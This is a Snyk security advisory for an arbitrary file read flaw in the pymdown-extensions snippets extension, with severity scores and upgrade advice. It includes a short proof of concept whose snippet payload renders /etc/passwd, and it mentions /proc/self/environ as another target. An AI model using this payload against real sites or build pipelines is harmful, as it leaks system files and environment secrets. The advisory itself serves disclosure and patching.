Arbitrary File Read Affecting pymdown-extensions package, versions [1.5,10.0)


0.0
medium
0
10

Snyk CVSS

    Attack Complexity High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.11% (44th percentile)
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-PYMDOWNEXTENSIONS-5537103
  • published 16 May 2023
  • disclosed 16 May 2023
  • credit itlabbet

How to fix?

Upgrade pymdown-extensions to version 10.0 or higher.

Overview

pymdown-extensions is an Extension pack for Python Markdown.

Affected versions of this package are vulnerable to Arbitrary File Read due to improper sanitization of file syntax passed via the get_snippet_path function. when using the syntax --8<--"/etc/passwd" or --8<--"/proc/self/environ" the content of these files will be rendered in the generated documentation.

PoC

import markdown

payload = "--8<-- \"/etc/passwd\""
html = markdown.markdown(payload, extensions=['pymdownx.snippets'])

print(html)

References